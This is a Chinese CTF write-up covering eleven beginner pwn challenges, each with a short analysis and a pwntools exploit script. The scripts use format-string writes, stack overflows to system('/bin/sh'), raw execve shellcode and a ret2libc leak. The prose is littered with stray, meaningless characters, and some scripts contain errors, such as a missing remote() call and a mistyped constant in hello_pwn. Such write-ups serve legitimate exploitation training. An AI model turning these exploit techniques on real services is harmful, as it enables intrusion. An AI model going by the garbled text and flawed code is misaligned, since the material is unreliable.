0x00 get_shell
nc 連接得到flag
0x01 CGfsb
首先檢查保護(hù)
在進(jìn)IDA f5，發(fā)現(xiàn)將pwnme=8即可得到flag登失。
漏洞點(diǎn)：格式化字符漏洞洛退，printf()函數(shù)使用不當(dāng)瘩蚪，造成任意內(nèi)存讀寫
查看pwnme地址如下燎孟，發(fā)現(xiàn)它是bss字段定義的全局變量
nc連接輸入信息為aaaa加很多個(gè)控制字符發(fā)現(xiàn)pwnme的偏移量為10
pwnme地址本身占4個(gè)字節(jié)再加上4個(gè)字符使pwnme==8喇勋，得到flag僚楞。
exp:
from pwn import *
#p=remote('111.198.29.45',38899)
p=process('./cgfsb')
pwnme_addr=0x0804a068
payload=p32(pwnme_addr)+'aaaa%10$n'
p.recvuntil('please tell me your name:\n')
p.sendline('aaaaaaa')
p.recvuntil('leave your message please:\n')
p.sendline(payload)
print p.recv()
print p.recv()
0x02 when_did_you_born
首先查看保護(hù)
看到birth=1926就可以得到flag,但是過濾了1926,又發(fā)現(xiàn)gets()沒有對(duì)輸入檢查，可以造成溢出似嗤。一直填充到v5,使v5=1926即可得到flag.
分別雙擊v4啸臀，v5看到，v4為var_20烁落，v5為var_18乘粒，相差了8個(gè)字符 ,所以構(gòu)造payload= payload='a'*8+p64(0x786)
exp:
from pwn import *
#p=process('./when_did_you_born')
p=remote('111.198.29.45',47814)
p.recvuntil("?")
p.sendline("1925")
p.recvuntil("?")
payload='a'*8+p32(0x786)
p.sendline(payload)
p.interactive()
0x03 hello_pwn
老規(guī)矩豌注，先查看文件保護(hù),然后IDA打開
如果ift條件為真，進(jìn)入sub_60106c就可得到flag灯萍。
進(jìn)入unk_691968和dword_60106c偏移量為4,并且沒有大于read函數(shù)的范圍限制轧铁，所以我們構(gòu)造payload=‘a(chǎn)'*4+p64(1853186401)就可以覆蓋dword_60106c使if為真。
exp:
from pwn import *
p=process('./hello_pwn')
p=('111.198.29.45',55581)
payload = 'a'*4+p64(18533186401)
p.recvuntil("bof")
p.sendline(payload)
p.interactive()
0x04 level0
檢查保護(hù)機(jī)制旦棉，拖進(jìn)IDA
看到vulnerable_function()函數(shù)存在溢出, buf的長度為0x80齿风，但是可以輸入0x200的長度。我們F12可以搜素到system和sh字符绑洛，得到系統(tǒng)函數(shù)的地址救斑。所以我們構(gòu)造payload在buf后面調(diào)用系統(tǒng)函數(shù)得到shell。r然后cat flag得到flag.
exp如下：
from pwn import *
p=remote('111.198.29.45',55317)
#p = process('./level0')
sys_addr = 0x0400320
sh_addr = 0x0400596
payload = 'a'*0x80 +p64(sys_addr)+p64(sh_addr)
p.recvuntil("Hello, World")
p.sendline(payload)
p.interactive()
0x05 level2
首先查看保護(hù)機(jī)制诊笤，IDA打開
發(fā)現(xiàn)溢出點(diǎn)buf,buf的長度為0x88,可輸入0x100的長度系谐。通過ELF搜素system和/bin/sh地址巾陕，構(gòu)造payload讨跟，得到shell。
exp:
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'
elf=ELF('./level2')
sys_addr=elf.symbols['system'] #獲取系統(tǒng)函數(shù)地址
sh_addr=elf.search('/bin/sh').next() #獲取'/bin/sh'字符串地址
payload= 'a'*(0x88+0x4)+p32(sys_addr)+p32(0x12333)+p32(sh_addr)
pwn=remote('111.198.29.45',42668)
#pwn = process('./level2')
pwn.sendlineafter("Input:\n",payload)
pwn.interactive()
pwn.close()
0x06 string
首先檢查保護(hù)機(jī)制
拖進(jìn)IDA鄙煤，這道題字符是真滴多晾匠，先分析邏輯。根據(jù)提示一步一步往下走梯刚×构荩看到sub_400CA6函數(shù)，只要a1[0]=a1[1]就符合要求,并且發(fā)現(xiàn)將V1一個(gè)void指針強(qiáng)制類型轉(zhuǎn)換成函數(shù)指針并調(diào)用了亡资，所以我們將shellcode通過上面的read寫入就會(huì)得到shell澜共。
一直跟回去發(fā)現(xiàn)a1[0]=65，a1[1]=85锥腻。
那現(xiàn)在目標(biāo)明確了嗦董，找到漏洞點(diǎn)，在內(nèi)存中將a1[0]值改為85就找到漏洞點(diǎn)在sub_400BB9的printf函數(shù)瘦黑，格式化字符串漏洞京革。造成任意地址讀寫。
找到format的偏移量為7幸斥。構(gòu)造payload = "%85d%7$n"匹摇。
exp:
from pwn import *
p = remote('111.198.29.45',49698)
#p = process('./string1')
p.recvuntil("secret[0] is ")
v3_addr=p.recvuntil("\n")
v3_addr="0x"+v3_addr[:-1]
v3_address = eval(v3_addr)
p.recvuntil("What should your character's name be:")
p.sendline('Adam')
p.recvuntil('So, where you will go?east or up?:')
p.sendline('east')
p.recvuntil('go into there(1), or leave(0)?:')
p.sendline('1')
p.recvuntil('Give me an address')
p.send(str(v3_address)+"\n")
p.recvuntil("you wish is:\n")
payload = "%85d%7$n"
p.sendline(payload)
#shellcode = asm(shellcraft.sh())
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
p.recvuntil("Wizard: I will help you! USE YOU SPELL")
p.sendline(shellcode)
p.interactive()
0x07 guess_num
檢查保護(hù)
IDA打開，邏輯是十次輸入的數(shù)都要與隨機(jī)生成的數(shù)相等就運(yùn)行sub_C3E()得到flag甲葬，所以我們想辦法修改隨機(jī)數(shù)種子廊勃，讓每次生成的數(shù)都一樣就可以了。
那么我們可以利用的是get函數(shù)经窖，對(duì)輸入沒有限制供搀，并且v7與seed的地址是連續(xù)的隅居，所以直接覆蓋seed。查看V7的長度為32個(gè)字節(jié)葛虐，構(gòu)造payload = 'a'*32+p64(1)胎源。
exp:
from pwn import *
from ctypes import *
p = remote('111.198.29.45',36915)
#p = process('./guess_num')
p.recvuntil("Your name:")
payload = 'a'*32+p64(1)
p.sendline(payload)
//使用ctypes庫調(diào)用libc.so.6來使用srand()和rand()
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(1)
for i in range(10):
a = str(libc.rand()%6+1)
p.recvuntil('Please input your guess number:')
p.sendline(a)
p.interactive()
0x08 cgpwn2
首先檢查保護(hù)
IDA分析，看到main函數(shù)里gets(）可以溢出屿脐，并且name是在bss上的全局變量涕蚤。
找到system的地址為0x08048420。shift+F12找不到‘/bin/sh’的诵，所以將name輸入/bin/sh万栅，再次訪問name的值不會(huì)變，name的地址就作為sh的地址∥靼蹋現(xiàn)在需要找s的偏移量為38+4烦粒。構(gòu)造payload=‘a(chǎn)'*(38+4)+p32(sys_addr)+p32(0x123122)+p32(sh_addr),第二個(gè)p32里隨便輸入。
exp:
from pwn import *
p = remote('111.198.29.45',56035)
#p = process('./cgpwn2')
sys_addr = 0x08048420
sh_addr = 0x0804A080
payload = 'a'*(38+4)+p32(sys_addr)+p32(0x112233)+p32(sh_addr)
p.recvuntil('please tell me your name')
p.sendline('/bin/sh')
p.recvuntil("hello,you can leave some message here:")
p.sendline(payload)
p.interactive()
0x09 int_overflow
首先檢查保護(hù)機(jī)制
拖進(jìn)IDA代赁，分析邏輯扰她。發(fā)現(xiàn)check_passwd()中v3為int8型，在下面的check中也是檢查v3的長度芭碍，根據(jù)有題目名稱徒役，想到v3的大小溢出,int8型最大值為2^8=256,超出之后進(jìn)行模256的計(jì)算。
所以我們?cè)谳斎雙asswd的時(shí)候?qū)⑤斎腴L度為 [259,263]之間就可以了窖壕，再利用后面的strcpy()函數(shù)忧勿，因?yàn)閷復(fù)制給dest,看到dest的偏移為0x14+0x04，再搜索sh函數(shù)得到sh地址,構(gòu)造payload = 'a'*(0x14+0x4)+p32(sh_addr)瞻讽。得到shell鸳吸。
exp:
from pwn import *
p = remote('111.198.29.45',39063)
#p = process('./int_overflow')
sh_addr = 0x0804868B
p.recvuntil("Your choice:")
p.sendline('1')
p.recvuntil("Please input your username:")
p.sendline('Adam')
payload = 'a'*(0x14+0x4)+p32(sh_addr)
payload = payload.ljust(263,'b')
p.recvuntil('Please input your passwd:')
p.sendline(payload)
p.interactive()
0x10 level3
首先檢查保護(hù)機(jī)制
拖進(jìn)IDA，很明顯的漏洞點(diǎn)速勇，read溢出晌砾，但是找不到system,/bin/sh的地址。F12查看字符串快集。發(fā)現(xiàn) libc start_main贡羔。
因?yàn)閟ystem是libc.so動(dòng)態(tài)鏈接庫的函數(shù)。而且在動(dòng)態(tài)鏈接庫中函數(shù)之間的偏移是固定的个初。即使程序有 ASLR 保護(hù)乖寒，也只是針對(duì)于地址中間位進(jìn)行隨機(jī)，最低的 12 位并不會(huì)發(fā)生改變院溺。
首先楣嘁，利用找到write的真實(shí)地址，然后利用這個(gè)地址算出偏移量，這里貼個(gè)計(jì)算libc的工具逐虚。找到offest之后,就可以得到system的地址和bin/sh的地址了聋溜。
exp:
#-*-coding:utf-8-*-
from pwn import *
from LibcSearcher import *
#p = process('./level3')
p = remote('111.198.29.45',48981)
elf = ELF('./level3')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
payload = 'a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.recv()
p.sendline(payload)
write_addr = u32(p.recv(4))
libc = LibcSearcher('write',write_addr)
offest = write_addr - libc.dump('write')
sys_addr = offest + libc.dump('system')
sh_addr = offest +libc.dump('str_bin_sh')
payload2 = 'a'*(0x88+4)+p32(sys_addr)+p32(0x1231)+p32(sh_addr)
p.recv()
p.sendline(payload2)
p.interactive()
